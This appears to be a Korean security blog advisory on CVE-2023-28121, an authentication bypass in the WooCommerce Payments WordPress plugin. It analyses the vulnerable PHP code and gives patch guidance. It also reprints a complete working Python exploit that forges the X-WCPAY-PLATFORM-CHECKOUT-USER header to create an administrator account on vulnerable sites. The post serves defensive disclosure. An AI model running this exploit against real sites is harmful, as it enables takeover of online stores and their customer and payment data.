1. WordPress WooCommerce Payments 플러그인
- WordPress란 사용자가 전문적인 기술과 지식 없이도 웹사이트에서 콘텐츠를 생성, 관리 및 수정할 수 있도록 도와주는 CMS(Contents Management System)
- WooCommerce Payments란 오픈 소스 전자상거래 솔루션
2. 취약점
- WordPress용 WooCommerce Payments 플러그인에 조작된 요청을 보내 인증되지 않은 사용자가 관리자 권한을 얻을 수 있는 취약점 (CVSS 9.8)
- 2023.07.14부터 지속적으로 공격이 이루어지고 있음
- 영향받는 버전
WordPress용 WooCommerce Payments 플러그인 버전 5.6.1 이하
2.1 분석
- 해당 취약점은 Platform-Checkout-Session.php의 init()에서 발생
> Line 25에서 요청 메시지의 쿠키를 사용해 현재 사용자 결정
add_filter( 'determine_current_user', [ __CLASS__, 'determine_current_user_for_platform_checkout' ] );
> Line 36~46 determinate_current_user_for_platform_checkout()에서 특정 헤더 값을 이용해 사용자 결정
⒜ 관련 헤더: X-WCPAY-PLATFORM-CHECKOUT-USER
⒝ 해당 헤더 값이 존재할 경우 검증없이 단순히 값을 반환하여 사용자를 결정
public static function determine_current_user_for_platform_checkout( $user ) {
if ( $user ) {
return $user;
}
if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) {
return null;
}
return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'];
}
- Platform-Checkout-Session.php 중 취약점과 관련된 코드의 일부
<?php
/**
* Class WC_Payments_Session.
*
* @package WooCommerce\Payments
*/
namespace WCPay\Platform_Checkout;
/**
* Class responsible for handling platform checkout sessions.
* This class should be loaded as soon as possible so the correct session is loaded.
* So don't load it in the WC_Payments::init() function.
*/
class Platform_Checkout_Session {
const PLATFORM_CHECKOUT_SESSION_COOKIE_NAME = 'platform_checkout_session';
/**
* Init the hooks.
*
* @return void
*/
public static function init() {
add_filter( 'determine_current_user', [ __CLASS__, 'determine_current_user_for_platform_checkout' ] );
add_filter( 'woocommerce_cookie', [ __CLASS__, 'determine_session_cookie_for_platform_checkout' ] );
}
/**
* Sets the current user as the user sent via the api from WooPay if present.
*
* @param \WP_User|null|int $user user to be used during the request.
*
* @return \WP_User|null|int
*/
public static function determine_current_user_for_platform_checkout( $user ) {
if ( $user ) {
return $user;
}
if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) {
return null;
}
return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'];
}
/**
* Tells WC to use platform checkout session cookie if the header is present.
*
* @param string $cookie_hash Default cookie hash.
*
* @return string
*/
public static function determine_session_cookie_for_platform_checkout( $cookie_hash ) {
if ( isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) && 0 === (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) {
return self::PLATFORM_CHECKOUT_SESSION_COOKIE_NAME;
}
return $cookie_hash;
}
}
2.2 PoC
- 공개된 PoC의 동작은 다음과 같음
① readme.txt를 통해 대상 시스템에서 사용중인 WooCommerce Payments 플러그인의 버전을 확인해 취약 여부 확인
② 취약한 버전일 경우 /wp-json/wp/v2/users API 인터페이스를 활용해 사용자 추가
③ X-WCPAY-PLATFORM-CHECKOUT-USER 헤더 값을 1로 설정
> 일반적으로 첫 번째 사용자는 관리자이므로, 1로 설정하는 것으로 판단됨
④ 공격자가 관리자 권한을 가진 계정을 생성하게 됨
> determinate_current_user_for_platform_checkout()에 의해 검증없이 관리자 권한으로 설정됨
# CVE-2023-28121
# WooCommerce Payments Unauthorized Administrator Access Exploit
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!
import re
import sys
import urllib3
import requests
import argparse
from colorama import Fore, Style
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
username = "secragon"
password = "OffensiveSecurity123"
email = "exploit@secragon.com"
def check_version(target):
print(Style.RESET_ALL + "Site version:", end=' ')
try:
r = requests.get(f"{target}/wp-content/plugins/woocommerce-payments/readme.txt", verify=False)
version = re.search(r"Stable tag: (.*)", r.text).groups()[0]
except:
print(Fore.RED + f'error...')
exit()
if int(version.replace('.','')) < 562:
print(Fore.GREEN + f'{version} - vulnerable!')
else:
print(Fore.RED + f'{version} - not vulnerable!')
exit()
def add_admin(target):
headers = {
'User-Agent': 'Secragon Offensive Agent',
'X-WCPAY-PLATFORM-CHECKOUT-USER': '1'
}
data = {
'rest_route' : '/wp/v2/users',
'username' : username,
'email': email,
'password': password,
'roles':'administrator'
}
print(Style.RESET_ALL + "Getting session:", end =' ')
s = requests.Session()
try:
r = s.get(f'{target}', headers=headers, verify=False)
print(Fore.GREEN + f'done')
except:
print(Fore.RED + f'error...')
exit()
print(Style.RESET_ALL + "Adding a new admin:", end =' ')
r = s.post(f'{target}', data=data, headers=headers, verify=False)
if r.status_code == 201:
print(Fore.GREEN + f'done')
else:
print(Fore.RED + f'error...')
exit()
print(Style.RESET_ALL + "All set! You can now login using the following credentials:")
print(f'Username: {username}')
print(f'Password: {password}')
print()
print()
print(Fore.BLUE + "\t\t --- WooCommerce Payments exploit ---")
print("\t\t (unauthorized admin access)")
print(Fore.RED + "\t\t\t\t\tby gbrsh@secragon & gnomer0x@secragon")
print(Style.RESET_ALL)
parser = argparse.ArgumentParser()
parser.add_argument('url', help='http://wphost')
if len(sys.argv) == 1:
parser.print_help()
print()
exit()
args = parser.parse_args()
check_version(args.url)
add_admin(args.url)
- 공격자의 조작된 요청에의해 서버에서 201 Created 응답이 발생하며, 악성 계정이 정상적으로 생성
> 201 Created: POST, PUT 메소드 등으로 새로운 데이터를 서버에 생성하는 작업이 성공했음을 나타내는 상태코드
3. 대응방안
① 벤더사에서 제공하는 패치를 적용
- 해당 취약점은 2023.03.23 벤더사에서 패치를 배포
제품명 | 영향받는 버전 | 해결 버전 |
WooCommerce Payments | 4.8.2 이전 버전 | 4.8.2 |
4.9.1 이전 버전 | 4.9.1 | |
5.0.4 이전 버전 | 5.0.4 | |
5.1.3 이전 버전 | 5.1.3 | |
5.2.2 이전 버전 | 5.2.2 | |
5.3.1 이전 버전 | 5.3.1 | |
5.4.1 이전 버전 | 5.4.1 | |
5.5.2 이전 버전 | 5.5.2 | |
5.6.2 이전 버전 | 5.6.2 |
※ 패치 버전에서는 init() 포함되어 있는 Platform-Checkout-Session.php 파일을 삭제한 것으로 판단됨
4. 참고
[1] https://news.wp-kr.com/wordpress-start-guide/#index-wordpress
[2] https://woocommerce.com/payments/
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-28121
[4] https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/
[5] https://developer.wordpress.org/reference/hooks/determine_current_user/
[6] https://github.com/gbrsh/CVE-2023-28121
[7] https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&nttId=71028&menuNo=205020
[9] https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/#google_vignette
[10] https://www.boannews.com/media/view.asp?idx=120266&page=1&kind=1
'취약점 > Elevation of Privilege' 카테고리의 다른 글
Kubernetes Image Builder 기본 자격 증명 비활성화 취약점 (CVE-2024-9486, CVE-2024-9594) (1) | 2024.10.18 |
---|---|
Ivanti 권한 상승 취약점 (CVE-2024-21888, CVE-2024-21893) (1) | 2024.02.15 |
Cisco IOS XE Software Web UI 권한 상승 취약점 (CVE-2023-20198) (1) | 2023.10.17 |
Microsoft Outlook 권한 상승 취약점 (CVE-2023-23397) (0) | 2023.03.21 |